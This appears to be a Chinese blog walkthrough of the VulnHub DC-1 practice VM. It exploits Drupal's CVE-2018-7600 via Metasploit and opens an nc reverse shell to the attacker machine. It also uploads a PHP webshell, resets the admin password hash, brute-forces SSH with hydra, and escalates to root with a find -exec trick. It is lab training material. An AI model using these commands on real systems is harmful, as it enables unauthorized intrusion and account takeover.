Bootstrap

vulnhub DC:1靶场

靶场描述

DC-1是一个专门建造的易受攻击的实验室,目的是在渗透测试领域获得经验。

它旨在对初学者来说是一个挑战,但它的难易程度取决于您的技能和知识以及您的学习能力。

要成功完成这一挑战,您需要 Linux 技能、熟悉 Linux 命令行以及基本渗透测试工具的经验,例如可以在 Kali Linux 或 Parrot Security OS 上找到的工具。

有多种方法可以扎根,但是,我包括了一些包含初学者线索的标志。

总共有五个标志,但最终目标是在 root 的主目录中查找并读取该标志。您甚至不需要是 root 用户即可执行此操作,但是,您将需要 root 权限。

根据您的技能水平,您也许可以跳过查找大多数这些标志并直接进入root。

初学者可能会遇到以前从未遇到过的挑战,但谷歌搜索应该是获得完成此挑战所需的信息所需的全部内容

技术信息

DC-1 是一个基于 Debian 32 位构建的 VirtualBox VMware,因此在大多数 PC 上运行它应该没有问题。

它当前配置为桥接网络,但是,可以更改此设置以满足您的要求。网络是为 DHCP 配置的。

安装很简单 - 下载它,解压缩它,然后将其导入VMware,然后就可以了。

环境配置

靶场下载地址: https://www.vulnhub.com/entry/dc-1,292/

下载之后使用VMware导入DC -1.ova文件 启动就行 将网段设置为NAT

这样就算是成功

信息收集

扫描机器网卡上的所有ip

arp-scan -l

看一下kali的ip地址

ifconfig

靶机: 192.168.154.129 攻击机: 192.168.154.128

ping一下目标主机看看能不能ping通

利用nmap扫描一下端口

┌──(root㉿kali)-[/home/kali/Desktop]
└─# nmap -Pn -sV -p- 192.168.154.129
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-27 03:16 EST
Stats: 0:00:05 elapsed; 0 hosts completed (0 up), 1 undergoing ARP Ping Scan
ARP Ping Scan Timing: About 100.00% done; ETC: 03:16 (0:00:00 remaining)
Nmap scan report for 192.168.154.129
Host is up (0.00081s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
80/tcp    open  http    Apache httpd 2.2.22 ((Debian))
111/tcp   open  rpcbind 2-4 (RPC #100000)
46665/tcp open  status  1 (RPC #100024)
MAC Address: 00:0C:29:0E:CB:92 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.22 seconds

访问80端口 看看有什么东西

大致看了一下没什么东西

现在知道他是Drupal CMS

记得Drupal有个远程命令执行(CVE-2018-7600) 正好之前复现过的大致记得流程

漏洞利用

使用神器msf模块去搜索对应的exp

search drupal

使用exploit/unix/webapp/drupal_drupalgeddon2攻击模块

use exploit/unix/webapp/drupal_drupalgeddon2

使用payload

set payload php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 192.168.154.129
rhosts => 192.168.154.129
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set lhost 192.168.154.128
lhost => 192.168.154.128
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run

[*] Started reverse TCP handler on 192.168.154.128:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated.
[*] Sending stage (39927 bytes) to 192.168.154.129
[*] Meterpreter session 1 opened (192.168.154.128:4444 -> 192.168.154.129:56570) at 2022-12-27 03:23:55 -0500

meterpreter > 

成功获得一个meterpreter,使用kali去反弹一个交互式的shell

nc -e /bin/bash 192.168.154.128 7777
nc -lvvp 7777

第一个flag

他的意思大概是 每一个好的CMS都需要一个配置文件

so 我们查看配置文件

第二个flag

成功获得第二个flag 发现还有数据库的一些账号密码信息,登入到数据库看看

'database' => 'drupaldb',
      'username' => 'dbuser',
      'password' => 'R0ck3t',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',

啊 怎么回事数据库连接不上 这是怎么回事?知道的大佬麻烦告诉小弟一下我

我试了好几次 都未成功 最后将shell反弹到本机试了一下也是这样没有反应 算了 正好要下班了

回到家的时候 想到是不是可以写一个木马文件进去 蚁剑不是有一个数据操作

写是写进去了但是他将request函数过滤了,还得绕过太麻烦了

想到他既然可以写入是不是也可以下载呢 那就试试吧

在本机利用python3开启了一个http服务 至于为什么不用python2开是因为命令没记住

python3 -m http.server 7777 

首先目录得有一个php的木马文件然后进入cmd

下载好了

我们进入目标站点看看

不负所望啊

然后蚁剑进行连接

连接成功 现在进行连接数据库

好了 话不多说有点迫不及待的看看数据库里面的东西

看到了两个库 flag文件说了在drupaldb这个库里面

翻了翻这个库发现了users表,查了一下用户名

现在查密码

好吧 还被加密了 这是什么加密方式 ???

网上查了一下说是新型的hash加密

Drupal 7已不再采用Drupal 6和5时代的简单的MD5加密了。据某个帖子说是因为现在有一个在线的MD5数据库,可以查到很多MD5码的原文,因此Drupal 7的开发者认为不能再继续采用这种极不安全的方法了,因此Drupal 7采用了新型的Hash加密方法来确保密码安全。

新型的hash加密

Drupal可以利用password-hash.sh文件来生成此种加密的

find / -name password-hash*
/var/www/scripts/password-hash.sh
cd /var/www/scripts/

发现/var/www/scripts/password-hash.sh ,于是到www目录下,然后运行

scripts/password-hash.sh admin

返回到数据库中更改密码

update users set pass="$S$D5Icw5I2FlS7lnwztuc.cyD6LnbroQVTnaSmiHSGZGxIuD7jpbJ9" where uid = 1;

返回目标站点进行登录,寻找flag3

第三个flag

于是根据提示进入etc/passwd,找到了flag4账户

利用kali自带的hydra和rockyou.txt进行破解

hydra -l flag4 -P /usr/share/wordlists/rockyou.txt ssh://192.168.154.129 	//爆破密码

出现报错 意思是没有发现rockyou.txt文件,不对啊 这个字典是自带的

进入目录看看

cd /usr/share/wordlists/

原来是没有解压,将其解压就好了

gunzip rockyou.txt.gz

重新输入命令

发现password为orange

破解完成之后连接到flag4账户

查看flag4

第四个flag

他的意思是不能用相同的办法来访问根目录 权限不够需要提权

提权

提权我们利用find提权

find -name flag4.txt -exec /bin/bash -p \;

然后进入根目录寻找flag5

第五个flag

在root 目录下找到了最后的flag,最后5个flag全部找到了

;